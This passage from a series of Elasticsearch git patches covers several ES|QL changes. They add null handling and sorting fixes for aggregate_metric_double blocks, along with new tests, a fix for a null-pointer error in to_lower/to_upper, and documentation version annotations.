-    public final Block newConstantAggregateMetricDoubleBlock(
+    public final AggregateMetricDoubleBlock newConstantAggregateMetricDoubleBlock(
         AggregateMetricDoubleBlockBuilder.AggregateMetricDoubleLiteral value,
         int positions
     ) {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
index 967f91a3ee471..16242d6fb8050 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ConstantNullBlock.java
@@ -25,7 +25,8 @@ public final class ConstantNullBlock extends AbstractNonThreadSafeRefCounted
         LongBlock,
         FloatBlock,
         DoubleBlock,
-        BytesRefBlock {
+        BytesRefBlock,
+        AggregateMetricDoubleBlock {
 
     private static final long BASE_RAM_BYTES_USED = RamUsageEstimator.shallowSizeOfInstance(ConstantNullBlock.class);
     private final int positionCount;
@@ -143,6 +144,31 @@ public int hashCode() {
         return result;
     }
 
+    @Override
+    public DoubleBlock minBlock() {
+        return this;
+    }
+
+    @Override
+    public DoubleBlock maxBlock() {
+        return this;
+    }
+
+    @Override
+    public DoubleBlock sumBlock() {
+        return this;
+    }
+
+    @Override
+    public IntBlock countBlock() {
+        return this;
+    }
+
+    @Override
+    public Block getMetricBlock(int index) {
+        return this;
+    }
+
     @Override
     public String toString() {
         return "ConstantNullBlock[positions=" + getPositionCount() + "]";
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ElementType.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ElementType.java
index 64fc0d2bdd263..e651a65cf69b2 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ElementType.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/data/ElementType.java
@@ -63,7 +63,7 @@ public enum ElementType {
         10,
         "AggregateMetricDouble",
         BlockFactory::newAggregateMetricDoubleBlockBuilder,
-        AggregateMetricDoubleBlock::readFrom
+        AggregateMetricDoubleArrayBlock::readFrom
     );
 
     private interface BuilderSupplier {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ResultBuilderForAggregateMetricDouble.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ResultBuilderForAggregateMetricDouble.java
index a814cf5f98e0a..f4c091e22fac6 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ResultBuilderForAggregateMetricDouble.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ResultBuilderForAggregateMetricDouble.java
@@ -30,6 +30,11 @@ public void decodeKey(BytesRef keys) {
 
     @Override
     public void decodeValue(BytesRef values) {
+        int count = TopNEncoder.DEFAULT_UNSORTABLE.decodeVInt(values);
+        if (count == 0) {
+            builder.appendNull();
+            return;
+        }
         for (BlockLoader.DoubleBuilder subBuilder : List.of(builder.min(), builder.max(), builder.sum())) {
             if (TopNEncoder.DEFAULT_UNSORTABLE.decodeBoolean(values)) {
                 subBuilder.appendDouble(TopNEncoder.DEFAULT_UNSORTABLE.decodeDouble(values));
@@ -51,7 +56,7 @@ public Block build() {
 
     @Override
     public String toString() {
-        return "ValueExtractorForAggregateMetricDouble";
+        return "ResultBuilderForAggregateMetricDouble";
     }
 
     @Override
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ValueExtractorForAggregateMetricDouble.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ValueExtractorForAggregateMetricDouble.java
index 9bac1b9ba5eee..0e0694b328d9d 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ValueExtractorForAggregateMetricDouble.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/topn/ValueExtractorForAggregateMetricDouble.java
@@ -24,6 +24,7 @@ public class ValueExtractorForAggregateMetricDouble implements ValueExtractor {
 
     @Override
     public void writeValue(BreakingBytesRefBuilder values, int position) {
+        TopNEncoder.DEFAULT_UNSORTABLE.encodeVInt(1, values);
         for (DoubleBlock doubleBlock : List.of(block.minBlock(), block.maxBlock(), block.sumBlock())) {
             if (doubleBlock.isNull(position)) {
                 TopNEncoder.DEFAULT_UNSORTABLE.encodeBoolean(false, values);
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockEqualityTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockEqualityTests.java
new file mode 100644
index 0000000000000..1a31ca07e546c
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/data/AggregateMetricDoubleBlockEqualityTests.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.data;
+
+import org.elasticsearch.compute.test.ComputeTestCase;
+import org.elasticsearch.compute.test.TestBlockFactory;
+import org.elasticsearch.core.Releasables;
+
+import java.util.List;
+
+public class AggregateMetricDoubleBlockEqualityTests extends ComputeTestCase {
+
+    static final BlockFactory blockFactory = TestBlockFactory.getNonBreakingInstance();
+
+    // TODO: Add additional tests
+
+    public void testEmptyBlock() {
+        // all these "empty" blocks should be equivalent
+        var partialMetricBuilder = blockFactory.newAggregateMetricDoubleBlockBuilder(0);
+        for (var subBuilder : List.of(
+            partialMetricBuilder.min(),
+            partialMetricBuilder.max(),
+            partialMetricBuilder.sum(),
+            partialMetricBuilder.count()
+        )) {
+            if (randomBoolean()) {
+                subBuilder.appendNull();
+            } else {
+                if (subBuilder instanceof DoubleBlockBuilder doubleBlockBuilder) {
+                    doubleBlockBuilder.appendDouble(0.0);
+                } else if (subBuilder instanceof IntBlockBuilder intBlockBuilder) {
+                    intBlockBuilder.appendInt(0);
+                }
+            }
+        }
+
+        List<AggregateMetricDoubleBlock> blocks = List.of(
+            blockFactory.newAggregateMetricDoubleBlockBuilder(0).build(),
+            blockFactory.newAggregateMetricDoubleBlockBuilder(0).appendNull().build().filter(),
+            partialMetricBuilder.build().filter(),
+            blockFactory.newConstantAggregateMetricDoubleBlock(
+                new AggregateMetricDoubleBlockBuilder.AggregateMetricDoubleLiteral(0.0, 0.0, 0.0, 0),
+                0
+            ).filter(),
+            (ConstantNullBlock) blockFactory.newConstantNullBlock(0)
+        );
+
+        assertAllEquals(blocks);
+        Releasables.close(blocks);
+    }
+
+    public void testSimpleBlockWithManyNulls() {
+        int positions = randomIntBetween(1, 256);
+        boolean grow = randomBoolean();
+        AggregateMetricDoubleBlockBuilder builder1 = blockFactory.newAggregateMetricDoubleBlockBuilder(grow ? 0 : positions);
+        AggregateMetricDoubleBlockBuilder builder2 = blockFactory.newAggregateMetricDoubleBlockBuilder(grow ? 0 : positions);
+        ConstantNullBlock.Builder builder3 = new ConstantNullBlock.Builder(blockFactory);
+        for (int p = 0; p < positions; p++) {
+            builder1.appendNull();
+            builder2.appendNull();
+            builder3.appendNull();
+        }
+        AggregateMetricDoubleBlock block1 = builder1.build();
+        AggregateMetricDoubleBlock block2 = builder2.build();
+        Block block3 = builder3.build();
+        assertEquals(positions, block1.getPositionCount());
+        assertTrue(block1.mayHaveNulls());
+        assertTrue(block1.isNull(0));
+
+        List<Block> blocks = List.of(block1, block2, block3);
+        assertAllEquals(blocks);
+    }
+
+    static void assertAllEquals(List<?> objs) {
+        for (Object obj1 : objs) {
+            for (Object obj2 : objs) {
+                assertEquals(obj1, obj2);
+                assertEquals(obj2, obj1);
+                // equal objects must generate the same hash code
+                assertEquals(obj1.hashCode(), obj2.hashCode());
+            }
+        }
+    }
+}
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/topn/ExtractorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/topn/ExtractorTests.java
index b345d8c0b196a..c5f91f05e76b3 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/topn/ExtractorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/topn/ExtractorTests.java
@@ -13,6 +13,7 @@
 import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.common.breaker.CircuitBreaker;
 import org.elasticsearch.common.breaker.NoopCircuitBreaker;
+import org.elasticsearch.compute.data.AggregateMetricDoubleBlockBuilder.AggregateMetricDoubleLiteral;
 import org.elasticsearch.compute.data.Block;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BlockUtils;
@@ -42,9 +43,27 @@ public static Iterable<Object[]> parameters() {
             switch (e) {
                 case UNKNOWN -> {
                 }
-                case COMPOSITE, AGGREGATE_METRIC_DOUBLE -> {
+                case COMPOSITE -> {
                     // TODO: add later
                 }
+                case AGGREGATE_METRIC_DOUBLE -> {
+                    cases.add(
+                        valueTestCase(
+                            "regular aggregate_metric_double",
+                            e,
+                            TopNEncoder.DEFAULT_UNSORTABLE,
+                            () -> randomAggregateMetricDouble(true)
+                        )
+                    );
+                    cases.add(
+                        valueTestCase(
+                            "aggregate_metric_double with nulls",
+                            e,
+                            TopNEncoder.DEFAULT_UNSORTABLE,
+                            () -> randomAggregateMetricDouble(false)
+                        )
+                    );
+                }
                 case FLOAT -> {
                 }
                 case BYTES_REF -> {
@@ -105,7 +124,8 @@ public static Iterable<Object[]> parameters() {
                             ).asBlock()
                         ) }
                 );
-                case NULL -> cases.add(valueTestCase("null", e, TopNEncoder.DEFAULT_UNSORTABLE, () -> null));
+                case NULL -> {
+                }
                 default -> {
                     cases.add(valueTestCase("single " + e, e, TopNEncoder.DEFAULT_UNSORTABLE, () -> BlockTestUtils.randomValue(e)));
                     cases.add(
@@ -118,6 +138,9 @@ public static Iterable<Object[]> parameters() {
                     );
                 }
             }
+            if (e != ElementType.UNKNOWN && e != ElementType.COMPOSITE && e != ElementType.FLOAT && e != ElementType.DOC) {
+                cases.add(valueTestCase("null " + e, e, TopNEncoder.DEFAULT_UNSORTABLE, () -> null));
+            }
         }
         return cases;
     }
@@ -221,4 +244,16 @@ public void testInKey() {
 
         assertThat(result.build(), equalTo(value));
     }
+
+    public static AggregateMetricDoubleLiteral randomAggregateMetricDouble(boolean allMetrics) {
+        if (allMetrics) {
+            return new AggregateMetricDoubleLiteral(randomDouble(), randomDouble(), randomDouble(), randomInt());
+        }
+        return new AggregateMetricDoubleLiteral(
+            randomBoolean() ? randomDouble() : null,
+            randomBoolean() ? randomDouble() : null,
+            randomBoolean() ? randomDouble() : null,
+            randomBoolean() ? randomInt() : null
+        );
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 9d553b178afeb..ba9ebe1c352d6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -890,6 +890,42 @@ public enum Cap {
          */
         AGGREGATE_METRIC_DOUBLE_PARTIAL_SUBMETRICS(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
 
+        /**
+         * Support for rendering aggregate_metric_double type
+         */
+        AGGREGATE_METRIC_DOUBLE_RENDERING(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Support for to_aggregate_metric_double function
+         */
+        AGGREGATE_METRIC_DOUBLE_CONVERT_TO(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Support for sorting when aggregate_metric_doubles are present
+         */
+        AGGREGATE_METRIC_DOUBLE_SORTING(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Support avg with aggregate metric doubles
+         */
+        AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Support for implicit casting of aggregate metric double when run in aggregations
+         */
+        AGGREGATE_METRIC_DOUBLE_IMPLICIT_CASTING_IN_AGGS(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Fixes bug when aggregate metric double is encoded as a single nul value but decoded as
+         * AggregateMetricDoubleBlock (expecting 4 values) in TopN.
+         */
+        AGGREGATE_METRIC_DOUBLE_SORTING_FIXED(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
+        /**
+         * Stop erroring out when trying to apply MV_EXPAND on aggregate metric double.
+         */
+        AGGREGATE_METRIC_DOUBLE_MV_EXPAND(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
+
         /**
          * Support change point detection "CHANGE_POINT".
          */
@@ -913,11 +949,6 @@ public enum Cap {
          */
         SUPPORT_PARTIAL_RESULTS,
 
-        /**
-         * Support for rendering aggregate_metric_double type
-         */
-        AGGREGATE_METRIC_DOUBLE_RENDERING(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
-
         /**
          * Support for RERANK command
          */
@@ -969,11 +1000,6 @@ public enum Cap {
          */
         NON_FULL_TEXT_FUNCTIONS_SCORING,
 
-        /**
-         * Support for to_aggregate_metric_double function
-         */
-        AGGREGATE_METRIC_DOUBLE_CONVERT_TO(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
-
         /**
          * The {@code _query} API now reports the original types.
          */
@@ -1000,11 +1026,6 @@ public enum Cap {
          */
         MAKE_NUMBER_OF_CHANNELS_CONSISTENT_WITH_LAYOUT,
 
-        /**
-         * Support for sorting when aggregate_metric_doubles are present
-         */
-        AGGREGATE_METRIC_DOUBLE_SORTING(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
-
         /**
          * Supercedes {@link Cap#MAKE_NUMBER_OF_CHANNELS_CONSISTENT_WITH_LAYOUT}.
          */
@@ -1241,10 +1262,6 @@ public enum Cap {
          * Support improved behavior for LIKE operator when used with index fields.
          */
         LIKE_ON_INDEX_FIELDS,
-        /**
-         * Support avg with aggregate metric doubles
-         */
-        AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
 
         /**
          * Forbid usage of brackets in unquoted index and enrich policy names
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/convert/ToAggregateMetricDouble.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/convert/ToAggregateMetricDouble.java
index 87a4492f33094..03564429ab827 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/convert/ToAggregateMetricDouble.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/convert/ToAggregateMetricDouble.java
@@ -9,6 +9,7 @@
 
 import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
 import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.compute.data.AggregateMetricDoubleArrayBlock;
 import org.elasticsearch.compute.data.AggregateMetricDoubleBlock;
 import org.elasticsearch.compute.data.AggregateMetricDoubleBlockBuilder;
 import org.elasticsearch.compute.data.Block;
@@ -147,7 +148,12 @@ private Block build() {
             try {
                 doubleBlock = valuesBuilder.build().asBlock();
                 countBlock = blockFactory.newConstantIntBlockWith(1, doubleBlock.getPositionCount());
-                AggregateMetricDoubleBlock aggBlock = new AggregateMetricDoubleBlock(doubleBlock, doubleBlock, doubleBlock, countBlock);
+                AggregateMetricDoubleBlock aggBlock = new AggregateMetricDoubleArrayBlock(
+                    doubleBlock,
+                    doubleBlock,
+                    doubleBlock,
+                    countBlock
+                );
                 doubleBlock.incRef();
                 doubleBlock.incRef();
                 success = true;
diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/46_downsample.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/46_downsample.yml
index ee1a381c6e589..726921ffd09f7 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/46_downsample.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/46_downsample.yml
@@ -251,3 +251,111 @@ setup:
   - match: {values.0.1: 800479.0}
   - match: {values.0.2: 4812452.0}
   - match: {values.0.3: 6}
+
+---
+"Sort from multiple indices one with aggregate metric double":
+  - requires:
+      test_runner_features: [capabilities]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: []
+          capabilities: [aggregate_metric_double_sorting_fixed]
+      reason: "Fix sorting for rows comprised of docs from multiple indices where agg metric is missing from some"
+
+  - do:
+      indices.downsample:
+        index: test
+        target_index: test-downsample
+        body: >
+          {
+            "fixed_interval": "1h"
+          }
+  - is_true: acknowledged
+
+  - do:
+      indices.create:
+        index: test-2
+        body:
+          mappings:
+            properties:
+              some_field:
+                type: keyword
+
+  - do:
+      bulk:
+        refresh: true
+        index: test-2
+        body:
+          - '{"index": {}}'
+          - '{"some_field": "im a keyword!!!!!"}'
+
+  - do:
+      esql.query:
+        body:
+          query: "FROM test-* | SORT some_field, @timestamp, k8s.pod.uid | KEEP k8s.pod.network.rx, some_field, @timestamp | LIMIT 10"
+
+  - length: {values: 5}
+  - length: {values.0: 3}
+  - match: {columns.0.name: "k8s.pod.network.rx"}
+  - match: {columns.0.type: "aggregate_metric_double"}
+  - match: {columns.1.name: "some_field"}
+  - match: {columns.1.type: "keyword"}
+  - match: {columns.2.name: "@timestamp"}
+  - match: {columns.2.type: "date"}
+  - match: {values.0.0: null}
+  - match: {values.0.1: "im a keyword!!!!!"}
+  - match: {values.0.2: null}
+  - match: {values.1.0: '{"min":801479.0,"max":802133.0,"sum":1603612.0,"value_count":2}'}
+  - match: {values.1.1: null}
+  - match: {values.1.2: "2021-04-28T18:00:00.000Z"}
+  - match: {values.2.0: '{"min":530575.0,"max":530600.0,"sum":1061175.0,"value_count":2}'}
+  - match: {values.2.1: null}
+  - match: {values.2.2: "2021-04-28T18:00:00.000Z"}
+  - match: {values.3.0: '{"min":530604.0,"max":530605.0,"sum":1061209.0,"value_count":2}'}
+  - match: {values.3.1: null}
+  - match: {values.3.2: "2021-04-28T19:00:00.000Z"}
+  - match: {values.4.0: '{"min":802337.0,"max":803685.0,"sum":1606022.0,"value_count":2}'}
+  - match: {values.4.1: null}
+  - match: {values.4.2: "2021-04-28T20:00:00.000Z"}
+
+---
+"MV_EXPAND on non-MV aggregate metric double":
+  - requires:
+      test_runner_features: [capabilities]
+      capabilities:
+        - method: POST
+          path: /_query
+          parameters: []
+          capabilities: [aggregate_metric_double_mv_expand]
+      reason: "Have MV_EXPAND not error out when applied to aggregate_metric_doubles (is a no-op)"
+
+  - do:
+      indices.downsample:
+        index: test
+        target_index: test-downsample
+        body: >
+          {
+            "fixed_interval": "1h"
+          }
+  - is_true: acknowledged
+
+  - do:
+      esql.query:
+        body:
+          query: "FROM test-downsample | MV_EXPAND k8s.pod.network.rx | SORT @timestamp, k8s.pod.uid | KEEP k8s.pod.network.rx, @timestamp | LIMIT 10"
+
+  - length: {values: 4}
+  - length: {values.0: 2}
+  - match: {columns.0.name: "k8s.pod.network.rx"}
+  - match: {columns.0.type: "aggregate_metric_double"}
+  - match: {columns.1.name: "@timestamp"}
+  - match: {columns.1.type: "date"}
+  - match: {values.0.0: '{"min":801479.0,"max":802133.0,"sum":1603612.0,"value_count":2}'}
+  - match: {values.0.1: "2021-04-28T18:00:00.000Z"}
+  - match: {values.1.0: '{"min":530575.0,"max":530600.0,"sum":1061175.0,"value_count":2}'}
+  - match: {values.1.1: "2021-04-28T18:00:00.000Z"}
+  - match: {values.2.0: '{"min":530604.0,"max":530605.0,"sum":1061209.0,"value_count":2}'}
+  - match: {values.2.1: "2021-04-28T19:00:00.000Z"}
+  - match: {values.3.0: '{"min":802337.0,"max":803685.0,"sum":1606022.0,"value_count":2}'}
+  - match: {values.3.1: "2021-04-28T20:00:00.000Z"}

From 21d2a724918aa8e38336adfb6e6c2d5261e164be Mon Sep 17 00:00:00 2001
From: Larisa Motova <larisa.motova@elastic.co>
Date: Fri, 25 Jul 2025 22:21:24 -1000
Subject: [PATCH 241/299] [9.1] Remove incorrectly added EsqlCapability
 (#131963)

Accidentally added this in when backporting #131954 which will break
some of the tests, so I am removing it
---
 .../elasticsearch/xpack/esql/action/EsqlCapabilities.java    | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index ba9ebe1c352d6..b1411723d5080 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -910,11 +910,6 @@ public enum Cap {
          */
         AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
 
-        /**
-         * Support for implicit casting of aggregate metric double when run in aggregations
-         */
-        AGGREGATE_METRIC_DOUBLE_IMPLICIT_CASTING_IN_AGGS(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG),
-
         /**
          * Fixes bug when aggregate metric double is encoded as a single nul value but decoded as
          * AggregateMetricDoubleBlock (expecting 4 values) in TopN.

From 447fa4f2f0c5dc2a081f7e1cf6f9e4a4d01c13f7 Mon Sep 17 00:00:00 2001
From: Gal Lalouche <gal.lalouche@elastic.co>
Date: Sun, 27 Jul 2025 12:55:32 +0300
Subject: [PATCH 242/299] ESQL: Fix NPE on empty to_lower/to_upper call
 (#131917) (#131924)

Apparently, when calling to_lower or to_upper with no parameters, an NPE was thrown, instead of a proper error. AFAICT, this is an old left-over from when these functions were imported from a much older version.

Resolves #131913.
---
 docs/changelog/131917.yaml                                  | 6 ++++++
 .../esql/expression/function/EsqlFunctionRegistry.java      | 4 ++--
 .../esql/expression/function/EsqlFunctionRegistryTests.java | 3 +++
 3 files changed, 11 insertions(+), 2 deletions(-)
 create mode 100644 docs/changelog/131917.yaml

diff --git a/docs/changelog/131917.yaml b/docs/changelog/131917.yaml
new file mode 100644
index 0000000000000..9d69e1653e711
--- /dev/null
+++ b/docs/changelog/131917.yaml
@@ -0,0 +1,6 @@
+pr: 131917
+summary: Fix NPE on empty to_lower/to_upper call
+area: ES|QL
+type: bug
+issues:
+ - 131913
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistry.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistry.java
index bf6affb49a0b2..3d05eb5291435 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistry.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistry.java
@@ -1129,10 +1129,10 @@ public static <T extends Function> FunctionDefinition def(
         String... names
     ) {
         FunctionBuilder builder = (source, children, cfg) -> {
-            if (children.size() > 1) {
+            if (children.size() != 1) {
                 throw new QlIllegalArgumentException("expects exactly one argument");
             }
-            Expression ex = children.size() == 1 ? children.get(0) : null;
+            Expression ex = children.get(0);
             return ctorRef.build(source, ex, cfg);
         };
         return def(function, builder, names);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistryTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistryTests.java
index d8c1b40e78c48..2082db4592efb 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistryTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/EsqlFunctionRegistryTests.java
@@ -159,6 +159,9 @@ public void testConfigurationOptionalFunction() {
         );
         def = r.resolveFunction(r.resolveAlias("DUMMY"));
         assertEquals(ur.source(), ur.buildResolved(randomConfiguration(), def).source());
+
+        ParsingException e = expectThrows(ParsingException.class, () -> uf(DEFAULT).buildResolved(randomConfiguration(), def));
+        assertThat(e.getMessage(), containsString("expects exactly one argument"));
     }
 
     private static UnresolvedFunction uf(FunctionResolutionStrategy resolutionStrategy, Expression... children) {

From febd41cc76d511216cf2bcd3e4be4e84969591ef Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Mon, 28 Jul 2025 11:56:04 +0200
Subject: [PATCH 243/299] [DOCS] Update ES|QL applies to's (#131805) (#131989)

* Add applies to to ScalB function in https://github.com/elastic/elasticsearch/pull/127696

* Add applies_to to categorize, follow up to https://github.com/elastic/elasticsearch/pull/129398/

* Add version info, following https://github.com/elastic/elasticsearch/pull/127629

* SAMPLE is new + GA in 9.1 https://github.com/elastic/elasticsearch/pull/127629

* add applies to for 9.2 option

(cherry picked from commit 5d565b5fbeff5356f3d36ebc351be2ec9e58a869)

# Conflicts:
#	docs/reference/query-languages/esql/_snippets/functions/parameters/categorize.md
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/grouping/Categorize.java
---
 .../_snippets/functions/layout/categorize.md    |  3 +++
 .../esql/_snippets/functions/layout/sample.md   |  3 +++
 .../esql/_snippets/functions/layout/scalb.md    |  3 +++
 .../functions/parameters/categorize.md          |  3 +--
 .../expression/function/aggregate/Sample.java   |  6 +++++-
 .../function/grouping/Categorize.java           |  7 ++++++-
 .../expression/function/scalar/math/Scalb.java  | 17 ++++++++++++-----
 7 files changed, 33 insertions(+), 9 deletions(-)

diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/categorize.md b/docs/reference/query-languages/esql/_snippets/functions/layout/categorize.md
index ca23c1e2efc23..6667980ef84eb 100644
--- a/docs/reference/query-languages/esql/_snippets/functions/layout/categorize.md
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/categorize.md
@@ -1,6 +1,9 @@
 % This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
 
 ## `CATEGORIZE` [esql-categorize]
+```{applies_to}
+stack: preview 9.0, ga 9.1
+```
 
 **Syntax**
 
diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/sample.md b/docs/reference/query-languages/esql/_snippets/functions/layout/sample.md
index 05d8cef498116..9fd348abe8cd9 100644
--- a/docs/reference/query-languages/esql/_snippets/functions/layout/sample.md
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/sample.md
@@ -1,6 +1,9 @@
 % This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
 
 ## `SAMPLE` [esql-sample]
+```{applies_to}
+stack: ga 9.1.0
+```
 
 **Syntax**
 
diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/scalb.md b/docs/reference/query-languages/esql/_snippets/functions/layout/scalb.md
index 19ff3246f4ca1..bae02950efa6c 100644
--- a/docs/reference/query-languages/esql/_snippets/functions/layout/scalb.md
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/scalb.md
@@ -1,6 +1,9 @@
 % This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
 
 ## `SCALB` [esql-scalb]
+```{applies_to}
+stack: ga 9.1.0
+```
 
 **Syntax**
 
diff --git a/docs/reference/query-languages/esql/_snippets/functions/parameters/categorize.md b/docs/reference/query-languages/esql/_snippets/functions/parameters/categorize.md
index 8733908754570..455abff36ba63 100644
--- a/docs/reference/query-languages/esql/_snippets/functions/parameters/categorize.md
+++ b/docs/reference/query-languages/esql/_snippets/functions/parameters/categorize.md
@@ -3,5 +3,4 @@
 **Parameters**
 
 `field`
-:   Expression to categorize
-
+:   Expression to categorize
\ No newline at end of file
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Sample.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Sample.java
index 781f9ad67c05c..030b4c08f8c15 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Sample.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/aggregate/Sample.java
@@ -24,6 +24,8 @@
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.expression.function.Example;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesTo;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesToLifecycle;
 import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
 import org.elasticsearch.xpack.esql.expression.function.FunctionType;
 import org.elasticsearch.xpack.esql.expression.function.Param;
@@ -59,7 +61,9 @@ public class Sample extends AggregateFunction implements ToAggregator {
             "version" },
         description = "Collects sample values for a field.",
         type = FunctionType.AGGREGATE,
-        examples = @Example(file = "stats_sample", tag = "doc")
+        examples = @Example(file = "stats_sample", tag = "doc"),
+        appliesTo = { @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.1.0") }
+
     )
     public Sample(
         Source source,
